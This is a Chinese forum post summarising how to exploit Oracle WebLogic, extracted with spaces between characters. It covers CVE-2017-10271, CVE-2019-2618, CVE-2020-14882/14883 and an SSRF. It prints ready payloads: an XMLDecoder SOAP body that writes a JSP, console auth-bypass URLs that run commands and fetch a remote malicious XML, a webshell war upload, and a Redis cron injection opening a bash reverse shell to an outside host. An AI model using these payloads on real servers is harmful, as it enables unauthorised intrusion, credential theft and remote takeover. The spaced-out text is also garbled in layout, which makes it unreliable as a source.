搜索

[191] 2021-03-23_Weblogic漏洞利用总结

文档创建者：s7ckTeam
浏览次数：51
最后更新：2025-01-16
2021-03-23_Weblogic漏洞利用总结 W e b l o g i c 漏 洞 利 用 总 结 x i a o   A d m i n   T e a m   2 0 2 1 - 0 3 - 2 3 w e b l o g i c 简 介 简 介 W e b l o g i c 是 美 国 O r a c l e 公 司 出 品 的 一 个 应 用 服 务 器 ( a p p l i c a t i o n   s e r v e r ) ， 确 切 的 说 是 一 个 基 于 J a v a   E E 架 构 的 中 间 件 ， 是 用 于 开 发 、 集 成 、 部 署 和 管 理 大 型 分 布 式 W e b 应 用 、 网 络 应 用 和 数 据 库 应 用 的 J a v a 应 用 服 务 器 W e b l o g i c 将 J a v a 的 动 态 功 能 和 J a v a   E n t e r p r i s e 标 准 的 安 全 性 引 入 大 型 网 络 应 用 的 开 发 、 集 成 、 部 署 和 管 理 之 中 ， 是 商 业 市 场 上 主 要 的 J a v a （ J a v a   E E ） 应 用 服 务 器 软 件 之 一 ， 也 是 世 界 上 第 一 个 成 功 商 业 化 的 J a v a   E E 应 用 服 务 器 ， 具 有 可 扩 展 性 、 快 速 开 发 、 灵 活 、 可 靠 等 优 势 。 在 功 能 性 上 ， W e b l o g i c 是 J a v a   E E 的 全 能 应 用 服 务 器 ， 包 括 E J B   、 J S P 、 s e r v l e t 、 J M S 等 ， 是 商 业 软 件 里 排 名 第 一 的 容 器 （ J S P 、 s e r v l e t 、 E J B 等 ） ， 并 提 供 其 他 工 具 （ 例 如 J a v a 编 辑 器 ） ， 因 此 也 是 一 个 综 合 的 开 发 及 运 行 环 境 。 在 扩 展 性 上 ， W e b l o g i c   S e r v e r 凭 借 其 出 色 的 群 集 技 术 ， 拥 有 处 理 关 键 W e b 应 用 系 统 问 题 所 需 的 性 能 、 可 扩 展 性 和 高 可 用 性 。 漏 洞 汇 总 漏 洞 汇 总 C V E - 2 0 1 7 - 1 0 2 7 1 漏 洞 简 述 漏 洞 简 述       W e b l o g i c 的 W L S   S e c u r i t y 组 件 对 外 提 供 w e b s e r v i c e 服 务 ， 其 中 使 用 了 X M L D e c o d e r 来 解 析 用 户 传 入 的 X M L 数 据 ， 在 解 析 的 过 程 中 出 现 反 序 列 化 漏 洞 ， 导 致 可 执 行 任 意 命 令 。 攻 击 者 发 送 精 心 构 造 的 x m l 数 据 甚 至 能 通 过 反 弹 s h e l l 拿 到 权 限 。 漏 洞 影 响 版 本 漏 洞 影 响 版 本                                             1 0 . 3 . 6 . 0 . 0 ， 1 2 . 1 . 3 . 0 . 0 ， 1 2 . 2 . 1 . 1 . 0 ， 1 2 . 2 . 1 . 2 . 0 。 漏 洞 触 发 地 址 漏 洞 触 发 地 址 漏 洞 复 现 漏 洞 复 现         1 . 访 问 触 发 此 漏 洞 的   i p : 7 0 0 1 / / w l s - w s a t / C o o r d i n a t o r P o r t T y p e         2 . 使 用 b u r p 抓 取 请 求 包 后 发 送 至 r e p e a t e r 模 块 ， 将 数 据 包 修 改 成 构 造 好 的 p a y l o a d         / w l s - w s a t / C o o r d i n a t o r P o r t T y p e         / w l s - w s a t / R e g i s t r a t i o n P o r t T y p e R P C         / w l s - w s a t / P a r t i c i p a n t P o r t T y p e         / w l s - w s a t / R e g i s t r a t i o n R e q u e s t e r P o r t T y p e         / w l s - w s a t / C o o r d i n a t o r P o r t T y p e 1 1         / w l s - w s a t / R e g i s t r a t i o n P o r t T y p e R P C 1 1         / w l s - w s a t / P a r t i c i p a n t P o r t T y p e 1 1         / w l s - w s a t / R e g i s t r a t i o n R e q u e s t e r P o r t T y p e 1 1 P O S T   / w l s - w s a t / C o o r d i n a t o r P o r t T y p e   H T T P / 1 . 1 H o s t :   i p : 7 0 0 1 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t :   * / * A c c e p t - L a n g u a g e :   e n U s e r - A g e n t :   M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   T r i d e n t / 5 . 0 ) C o n n e c t i o n :   c l o s e C o n t e n t - T y p e :   t e x t / x m l C o n t e n t - L e n g t h :   6 3 7 < s o a p e n v : E n v e l o p e   x m l n s : s o a p e n v = " h t t p : / / s c h e m a s . x m l s o a p . o r g / s o a p / e n v e l o p e / " >         < s o a p e n v : H e a d e r >
成 功 写 入 1 2 3 3 . 反 弹 反 弹 s h e l l 构 造 好 反 弹 s h e l l 的 命 令 ， 在 v p s 上 使 用 n c 监 听 4 4 4 4 端 口         < w o r k : W o r k C o n t e x t   x m l n s : w o r k = " h t t p : / / b e a . c o m / 2 0 0 4 / 0 6 / s o a p / w o r k a r e a / " >         < j a v a > < j a v a   v e r s i o n = " 1 . 4 . 0 "   c l a s s = " j a v a . b e a n s . X M L D e c o d e r " >         < o b j e c t   c l a s s = " j a v a . i o . P r i n t W r i t e r " >           < s t r i n g > s e r v e r s / A d m i n S e r v e r / t m p / _ W L _ i n t e r n a l / b e a _ w l s _ i n t e r n a l / 9 j 4 d q k / w a r / t e s t . j s p < / s t r i n g >         < v o i d   m e t h o d = " p r i n t l n " > < s t r i n g >         < ! [ C D A T A [ < %   o u t . p r i n t ( " 1 2 3 " ) ;   % >         ] ] >         < / s t r i n g >         < / v o i d >         < v o i d   m e t h o d = " c l o s e " / >         < / o b j e c t > < / j a v a > < / j a v a >         < / w o r k : W o r k C o n t e x t >         < / s o a p e n v : H e a d e r >         < s o a p e n v : B o d y / > < / s o a p e n v : E n v e l o p e >
成 功 反 弹 C V E - 2 0 1 9 - 2 6 1 8 漏 洞 简 述 漏 洞 简 述         利 用 任 意 文 件 读 取 来 获 取 w e b l o g i c 的 弱 口 令 登 录 进 入 后 台 ， 然 后 通 过 上 传 g e t s h e l l ， 通 过 构 造 任 意 文 件 下 载 漏 洞 环 境 读 取 到 后 台 用 户 名 和 密 码 ， 然 后 登 陆 进 后 台 ， 上 传 w e b s h e l l 。 漏 洞 影 响 版 本 漏 洞 影 响 版 本         W e b L o g i c   1 0 . 3 . 6 . 0 、 1 2 . 1 . 3 . 0 、 1 2 . 2 . 1 . 3 漏 洞 复 现 漏 洞 复 现 1 . 任 意 文 件 读 取 任 意 文 件 读 取       访 问 u r l     ( h t t p : / / I P : 7 0 0 1 / h e l l o / f i l e . j s p ? p a t h = / e t c / p a s s w d )   ,   成 功 读 取 到 账 号 和 密 码
        不 过 只 能 读 取 一 些 文 件 ， 如 何 更 深 层 次 利 用 这 个 漏 洞 呢 ？ w e b l o g i c 密 码 使 用 A E S （ 老 版 本 3 D E S ） 加 密 ， 对 称 加 密 可 解 密 ， 只 需 要 找 到 用 户 的 密 文 与 加 密 时 的 密 钥 即 可 。 这 两 个 文 件 均 位 于 b a s e _ d o m a i n 下 ， 名 为 S e r i a l i z e d S y s t e m I n i . d a t 和 c o n f i g . x m l 。 S e r i a l i z e d S y s t e m I n i . d a t 是 一 个 二 进 制 文 件 ， 所 以 一 定 要 用 b u r p s u i t e 来 读 取 ， 用 浏 览 器 直 接 下 载 可 能 引 入 一 些 干 扰 字 符 。 在 b u r p 里 选 中 读 取 到 的 那 一 串 乱 码 ， 这 就 是 密 钥 ， 右 键 c o p y   t o   f i l e 就 可 以 保 存 成 一 个 文 件 ：   c o n f i g . x m l 是 b a s e _ d o m a i n 的 全 局 配 置 文 件 ， 所 以 乱 七 八 糟 的 内 容 比 较 多 ， 找 到 其 中 的 的 值 ， 即 为 加 密 后 的 管 理 员 密 码 下 载 工 具 进 行 解 密 ( 下 载 地 址 : h t t p s : / / g i t h u b . c o m / T i d e S e c / D e c r y p t _ W e b l o g i c _ P a s s w o r d ) 使 用 其 中 的 工 具 5 进 行 解 密 2 . 后 台 上 传 后 台 上 传 g e t s h e l l         1 . 使 用 解 密 后 的 账 号 密 码 登 录 后 台 ， w e b l o g i c 常 见 的 弱 密 码 h t t p : / / y o u r I p : 7 0 0 1 / h e l l o / f i l e . j s p ? p a t h = s e c u r i t y / S e r i a l i z e d S y s t e m I n i . d a t h t t p : / / y o u r I P : 7 0 0 1 / h e l l o / f i l e . j s p ? p a t h = c o n f i g / c o n f i g . x m l h t t p s : / / c i r t . n e t / p a s s w o r d s ? c r i t e r i a = w e b l o g i c   这 里 使 用   用 户 名 : w e b l o g i c   密 码 : O r a c l e @ 1 2 3   登 录
        2 . 进 入 后 台 后 点 击 左 边 的 部 署 ， 找 到 可 以 上 传 文 件 的 地 址         3 . 生 成 一 个 w a r 包                 w a r 是 一 个 可 以 直 接 运 行 的 w e b 模 块 ， 通 常 用 于 网 站 ， 打 成 包 部 署 到 容 器 中 。 w a r 包 放 置 到 w e b 目 录 下 之 后 ， 可 以 自 动 解 压 ， 就 相 当 于 发 布 了 。 简 单 来 说 ， w a r 包 是 J a v a W e b 程 序 打 的 包 ， w a r 包 里 面 包 括 写 的 代 码 编 译 成 的 c l a s s 文 件 ， 依 赖 的 包 ， 配 置 文 件 ， 所 有 的 网 站 页 面 ， 包 括 h t m l ， j s p 等 等 。 一 个 w a r 包 可 以 理 解 为 是 一 个 w e b 项 目 ， 里 面 是 项 目 的 所 有 东 西                 这 里 使 用 冰 蝎 里 面 自 带 的 j s p 一 句 话 生 成 w a r 马                 生 成 w a r 后 将 w a r 马 部 署 上 去         4 . 使 用 冰 蝎 进 行 连 接 ( 默 认 密 码 为 r e b e y o n d ) ， 成 功 g e t s h e l l j a r   - c v f   s h e l l . w a r   s h e l l . j s p
C V E - 2 0 2 0 - 1 4 8 8 2 漏 洞 简 述 漏 洞 简 述         远 程 攻 击 者 可 以 构 造 特 殊 的 H T T P 请 求 ， 在 未 经 身 份 验 证 的 情 况 下 接 管   W e b L o g i c   S e r v e r   C o n s o l e ， 并 在   W e b L o g i c   S e r v e r   C o n s o l e   执 行 任 意 代 码 。 漏 洞 影 响 版 本 漏 洞 影 响 版 本 C V E - 2 0 2 0 - 1 4 8 8 3 : 权 限 绕 过 漏 洞 权 限 绕 过 漏 洞         远 程 攻 击 者 可 以 构 造 特 殊 的 H T T P 请 求 ， 在 未 经 身 份 验 证 的 情 况 下 接 管   W e b L o g i c   S e r v e r   C o n s o l e 。 权 限 绕 过 漏 洞 （ C V E - 2 0 2 0 - 1 4 8 8 3 ） ， 访 问 以 下 U R L ， 未 授 权 访 问 到 管 理 后 台 页 面 （ 低 权 限 的 用 户 ）         此 时 的 权 限 很 低 ， 并 不 能 在 后 台 安 装 应 用 ， 所 以 需 要 结 合 C V E - 2 0 2 0 - 1 4 8 8 3 漏 洞 C V E - 2 0 2 0 - 1 4 8 8 2   :   代 码 执 行 漏 洞 代 码 执 行 漏 洞         结 合   C V E - 2 0 2 0 - 1 4 8 8 3   漏 洞 ， 远 程 攻 击 者 可 以 构 造 特 殊 的 H T T P 请 求 ， 在 未 经 身 份 验 证 的 情 况 下 接 管   W e b L o g i c   S e r v e r   C o n s o l e   ， 并 在   W e b L o g i c   S e r v e r   C o n s o l e   执 行 任 意 代 码 。         该 漏 洞 有 两 个 利 用 手 法 该 漏 洞 有 两 个 利 用 手 法 O r a c l e   W e b l o g i c   S e r v e r   1 0 . 3 . 6 . 0 . 0 O r a c l e   W e b l o g i c   S e r v e r   1 2 . 1 . 3 . 0 . 0 O r a c l e   W e b l o g i c   S e r v e r   1 2 . 2 . 1 . 3 . 0 O r a c l e   W e b l o g i c   S e r v e r   1 2 . 2 . 1 . 4 . 0 O r a c l e   W e b l o g i c   S e r v e r   1 4 . 1 . 1 . 0 . 0 / c o n s o l e / i m a g e s / % 2 5 2 E % 2 5 2 E % 2 5 2 F c o n s o l e . p o r t a l / c o n s o l e / c s s / % 2 5 2 e % 2 5 2 e % 2 5 2 f c o n s o l e . p o r t a l （ 小 写 可 绕 过 补 丁 ） / c o n s o l e / c s s / % 2 5 % 3 2 % 6 5 % 2 5 % 3 2 % 6 5 % 2 5 % 3 2 % 6 6 c o n s o l e . p o r t a l
1 .   利 用 利 用   c o m . t a n g o s o l . c o h e r e n c e . m v e l 2 . s h . S h e l l S e s s i o n   执 行 命 令 执 行 命 令 D N S L O G 的 使 用 的 使 用           进 入 D N S L O G 平 台   h t t p : / / w w w . d n s l o g . c n /   ， 点 击 G E T   获 取 一 个 域 名 ， 然 后 使 用 p a y l o a d 执 行 命 令 直 接 访 问 U R L 进 入 d o c k e r 容 器 中 可 以 看 到 文 件 以 成 功 创 建           这 个 利 用 方 法 只 能 在 W e b l o g i c   1 2 . 2 . 1 以 上 版 本 利 用 ， 因 为 1 0 版 本 并 不 存 在   c o m . t a n g o s o l . c o h e r e n c e . m v e l 2 . s h . S h e l l S e s s i o n   类 2 . 利 用 c o m . b e a . c o r e . r e p a c k a g e d . s p r i n g f r a m e w o r k . c o n t e x t . s u p p o r t . F i l e S y s t e m X m l A p p l i c a t i o n C o n t e x t 执 行 命 令 X M L 文 件 : 利 用   c o m . t a n g o s o l . c o h e r e n c e . m v e l 2 . s h . S h e l l S e s s i o n   执 行 命 令 利 用   c o m . b e a . c o r e . r e p a c k a g e d . s p r i n g f r a m e w o r k . c o n t e x t . s u p p o r t . F i l e S y s t e m X m l A p p l i c a t i o n C o n t e x t   执 行 命 令 D N S L O G 可 以 在 某 些 无 法 直 接 利 用 漏 洞 获 得 回 显 的 情 况 下 ， 但 是 目 标 可 以 发 起 D N S 请 求 ， 这 个 时 候 就 可 以 通 过 这 种 方 式 把 想 获 得 的 数 据 外 带 出 来 。 h t t p : / / I P : 7 0 0 1 / / c o n s o l e / c s s / % 2 5 2 e % 2 5 2 e % 2 5 2 f c o n s o l e . p o r t a l ? _ n f p b = t r u e & _ p a g e L a b e l = & h a n d l e = c o m . t a n g o s o l . c o h e r e n c e . m v e l 2 . s h . S h e l l S e s s i o n ( " j a v a . l a n g . R u n t i m e . g e t R u n t i m e ( ) . e x e c ( ' c u r l % 2 0 x x . d n s l o g . c n ' ) ; " ) h t t p : / / i p : 端 口 / c o n s o l e / c s s / % 2 5 2 e % 2 5 2 e % 2 5 2 f c o n s o l e . p o r t a l ? _ n f p b = t r u e & _ p a g e L a b e l = & h a n d l e = c o m . t a n g o s o l . c o h e r e n c e . m v e l 2 . s h . S h e l l S e s s i o n ( " j a v a . l a n g . R u n t i m e . g e t R u n t i m e ( ) . e x e c ( ' t o u c h % 2 0 / t m p / s u c c e s s 1 ' ) ; " ) 一 种 更 为 通 杀 的 方 法 ， 对 于 所 有 W e b l o g i c 版 本 均 有 效 。 但 是 必 须 可 以 出 网 ， 要 可 以 访 问 到 恶 意 的 x m l 。 首 先 需 要 构 造 一 个 X M L 文 件 ， 并 将 其 保 存 外 网 （ 漏 洞 机 或 者 可 访 问 的 一 台 机 子 上 ） 上 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 "   ? >
        然 后 通 过 构 造 如 下 U R L ， 即 可 让 W e b l o g i c 加 载 这 个 X M L ， 并 执 行 其 中 的 命 令 ： g e t s h e l l         访 问 页 面   ( h t t p : / / i p : 7 0 0 1 / c o n s o l e / l o g i n / L o g i n F o r m . j s p )   使 用 b u r p 抓 包 ， 修 改 请 求 包 为 构 造 好 的 p a y l o a d < b e a n s   x m l n s = " h t t p : / / w w w . s p r i n g f r a m e w o r k . o r g / s c h e m a / b e a n s "       x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "       x s i : s c h e m a L o c a t i o n = " h t t p : / / w w w . s p r i n g f r a m e w o r k . o r g / s c h e m a / b e a n s   h t t p : / / w w w . s p r i n g f r a m e w o r k . o r g / s c h e m a / b e a n s / s p r i n g - b e a n s . x s d " >         < b e a n   i d = " p b "   c l a s s = " j a v a . l a n g . P r o c e s s B u i l d e r "   i n i t - m e t h o d = " s t a r t " >                 < c o n s t r u c t o r - a r g >                     < l i s t >                         < v a l u e > b a s h < / v a l u e >                         < v a l u e > - c < / v a l u e >                         < v a l u e > < ! [ C D A T A [ c u r l   p n w 4 6 y . d n s l o g . c n ] ] > < / v a l u e >                     < / l i s t >                 < / c o n s t r u c t o r - a r g >         < / b e a n > < / b e a n s > h t t p : / / y o u r - i p : 7 0 0 1 / c o n s o l e / c s s / % 2 5 2 e % 2 5 2 e % 2 5 2 f c o n s o l e . p o r t a l ? _ n f p b = t r u e & _ p a g e L a b e l = & h a n d l e = c o m . b e a . c o r e . r e p a c k a g e d . s p r i n g f r a m e w o r k . c o n t e x t . s u p p o r t . F i l e S y s t e m X m l A p p l i c a t i o n C o n t e x t ( " h t t p : / / i p . x m l " )
也 可 以 直 接 下 载 大 佬 写 好 的 工 具 ， 下 载 地 址 ( h t t p s : / / g i t h u b . c o m / b a c k l i o n / C V E - 2 0 2 0 - 1 4 8 8 2 _ A L L ) s s r f 漏 洞 漏 洞 漏 洞 描 述 漏 洞 描 述         W e b l o g i c 中 存 在 一 个 S S R F 漏 洞 ， 利 用 该 漏 洞 可 以 发 送 任 意 H T T P 请 求 ， 进 而 攻 击 内 网 中 r e d i s 、 f a s t c g i 等 脆 弱 组 件 。         S S R F 漏 洞 可 以 通 过 篡 改 获 取 资 源 的 请 求 发 送 给 服 务 器 ， 但 是 服 务 器 并 没 有 检 测 这 个 请 求 是 否 合 法 的 ， 然 后 服 务 器 以 他 的 身 份 来 访 问 其 他 服 务 器 的 资 源 。 漏 洞 影 响 范 围 漏 洞 影 响 范 围         O r a c l e   W e b L o g i c   S e r v e r   1 0 . 3 . 6 . 0         O r a c l e   W e b L o g i c   S e r v e r   1 0 . 0 . 2 . 0 r e d i s 简 介 简 介         R e d i s 是 一 个 开 源 的 使 用 A N S I   C 语 言 编 写 、 遵 守 B S D 协 议 、 支 持 网 络 、 可 基 于 内 存 亦 可 持 久 化 的 日 志 型 、 K e y - V a l u e 数 据 库 ， 并 提 供 多 种 语 言 的 A P I         它 通 常 被 称 为 数 据 结 构 服 务 器 ， 因 为 值 （ v a l u e ） 可 以 是   字 符 串 ( S t r i n g ) ,   哈 希 ( H a s h ) ,   列 表 ( l i s t ) ,   集 合 ( s e t s )   和   有 序 集 合 ( s o r t e d   s e t s ) 等 类 型 。 漏 洞 复 现 漏 洞 复 现 浏 览 器 访 问 存 在 漏 洞 的 地 址   S e a r c h P u b l i c R e g i s t r i e s . j s p             1 . 使 用 b u r p 抓 包 后 看 到 参 数 o p e r a t o r 的 参 数 是 一 个 u r l ， 这 个 就 是 利 用 点   ， 构 造 请 求 ， 通 过 改 变 u r l 的 端 口 来 做 一 个 端 口 检 测   (   通 过 错 误 的 不 同 ， 即 可 探 测 内 网 状 态 。 )         可 访 问 的 端 口 将 会 得 到 错 误 ， 一 般 是 返 回 状 态 码 （ 如 下 图 ） h t t p : / / 1 9 2 . 1 6 8 . 3 1 . 1 8 7 : 7 0 0 1 / u d d i e x p l o r e r / S e a r c h P u b l i c R e g i s t r i e s . j s p
        修 改 为 一 个 不 存 在 的 端 口 ， 将 会 返 回 错 误 ` c o u l d   n o t   c o n n e c t   o v e r   H T T P   t o   s e r v e r ` 。         如 果 访 问 的 非 h t t p 协 议 （ 内 网 ） ， 则 会 返 回 ` d i d   n o t   h a v e   a   v a l i d   S O A P   c o n t e n t - t y p e ` 。 利 用 利 用 r e d i s 反 弹 反 弹 s h e l l w e b l o g i c 的 s s r f 有 一 个 比 较 大 的 特 点 ， 其 虽 然 是 一 个 G E T 请 求 ， 但 是 我 们 可 以 通 过 传 入 * * % 0 a % 0 d * * 来 注 入 换 行 符 ， 而 某 些 服 务 ( 如 r e d i s ) 是 通 过 换 行 符 来 分 隔 每 条 命 令 ， 也 就 是 说 我 们 可 以 通 过 该 S S R F 攻 击 内 网 中 的 r e d i s 服 务 器 。 首 先 通 过 s s r f 探 测 内 网 中 的 r e d i s 服 务 器 ， 通 常 r e d i s 端 口 为 6 3 7 9         1 . 首 先 ， 通 过 s s r f 探 测 内 网 中 的 r e d i s 服 务 器 （ d o c k e r 环 境 的 网 段 一 般 是 1 7 2 . * ）         2 . 构 造 r e d i s 反 弹 s h e l l 命 令 t e s t s e t   1   " n n n n *   *   *   *   *   r o o t   b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 9 1 . 3 / 4 4 4 4   0 > & 1 n n n n " c o n f i g   s e t   d i r   / e t c / c o n f i g   s e t   d b f i l e n a m e   c r o n t a b s a v e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理